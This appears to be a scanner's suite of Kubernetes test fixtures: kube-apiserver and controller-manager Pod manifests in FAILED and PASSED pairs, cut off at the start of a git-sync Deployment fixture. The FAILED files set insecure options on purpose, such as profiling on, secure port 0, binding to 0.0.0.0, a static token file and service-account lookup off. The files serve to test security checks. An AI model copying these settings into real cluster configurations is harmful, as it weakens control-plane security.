tests/kubernetes/checks/example_ApiServerNamespaceLifecyclePlugin/ApiServerNamespaceLifecyclePlugin-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=NamespaceLifecycle image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerNodeRestrictionPlugin/ApiServerNodeRestrictionPlugin-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=other image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerNodeRestrictionPlugin/ApiServerNodeRestrictionPlugin-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=NodeRestriction image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerPodSecurityPolicyPlugin/ApiServerPodSecurityPolicyPlugin-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=other image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerPodSecurityPolicyPlugin/ApiServerPodSecurityPolicyPlugin-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=PodSecurityPolicy image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerProfiling/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-default namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerProfiling/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-enabled namespace: kube-system spec: containers: - command: - kube-apiserver - --profiling=true image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerProfiling/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-disabled namespace: kube-system spec: containers: - command: - kube-apiserver - --profiling=false image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerRequestTimeout/api-server-request-timeout-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --request-timeout=1s9m3h image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerRequestTimeout/api-server-request-timeout-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --request-timeout=2m3s image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerSecurePort/api-server-secure-port-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-not-secure namespace: kube-system spec: containers: - command: - kube-apiserver - --secure-port=0 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver ================================================ FILE: tests/kubernetes/checks/example_ApiServerSecurePort/api-server-secure-port-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-secure namespace: kube-system spec: containers: - command: - kube-apiserver - --secure-port=80 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver ================================================ FILE: tests/kubernetes/checks/example_ApiServerSecurePort/api-server-secure-port-PASSED_2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-cmd-empty namespace: kube-system spec: containers: - command: image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver ================================================ FILE: tests/kubernetes/checks/example_ApiServerSecurityContextDenyPlugin/ApiServerSecurityContextDenyPlugin-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=other image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerSecurityContextDenyPlugin/ApiServerSecurityContextDenyPlugin-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=SecurityContextDeny image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerServiceAccountKeyFile/ApiServerServiceAccountKeyFile-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --service-account-key-file=sdfsdf\dsadsapem image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerServiceAccountKeyFile/ApiServerServiceAccountKeyFile-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --service-account-key-file=/keys/key.pem image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerServiceAccountLookup/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerServiceAccountLookup/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --service-account-lookup=false image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerServiceAccountLookup/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --service-account-lookup=true image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerServiceAccountPlugin/ApiServerServiceAccountPlugin-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=other image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerServiceAccountPlugin/ApiServerServiceAccountPlugin-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=ServiceAccount image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerStrongCryptographicCiphers/ApiServerStrongCryptographicCiphers-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_64_GCM_SHA256 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerStrongCryptographicCiphers/ApiServerStrongCryptographicCiphers-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerTlsCertAndKey/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-no-key namespace: kube-system spec: containers: - command: - kube-apiserver - --tls-cert-file=/path/to/cert image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerTlsCertAndKey/ApiServer-FAILED-3.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-key-and-cert-empty namespace: kube-system spec: containers: - command: - kube-apiserver - --tls-cert-file - --tls-private-key-file= image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerTlsCertAndKey/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-missing namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerTlsCertAndKey/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-key-and-cert namespace: kube-system spec: containers: - command: - kube-apiserver - --tls-cert-file=/path/to/cert - --tls-private-key-file=/path/to/key image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerTokenAuthFile/ApiServerTokenAuthFile-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --token-auth-file=some_file image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerTokenAuthFile/ApiServerTokenAuthFile-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerkubeletCertificateAuthority/ApiServerkubeletCertificateAuthority-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerkubeletCertificateAuthority/ApiServerkubeletCertificateAuthority-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --kubelet-certificate-authority=ca.file image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ControllerManagerBindAddress/ControllerManagerBindAddress-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-controller-manager image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ControllerManagerBindAddress/ControllerManagerBindAddress-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-controller-manager - --bind-address=0.0.0.0 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ControllerManagerBindAddress/ControllerManagerBindAddress-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-controller-manager - --bind-address=127.0.0.1 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_DangerousGitSync/Deployment-FAILED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: 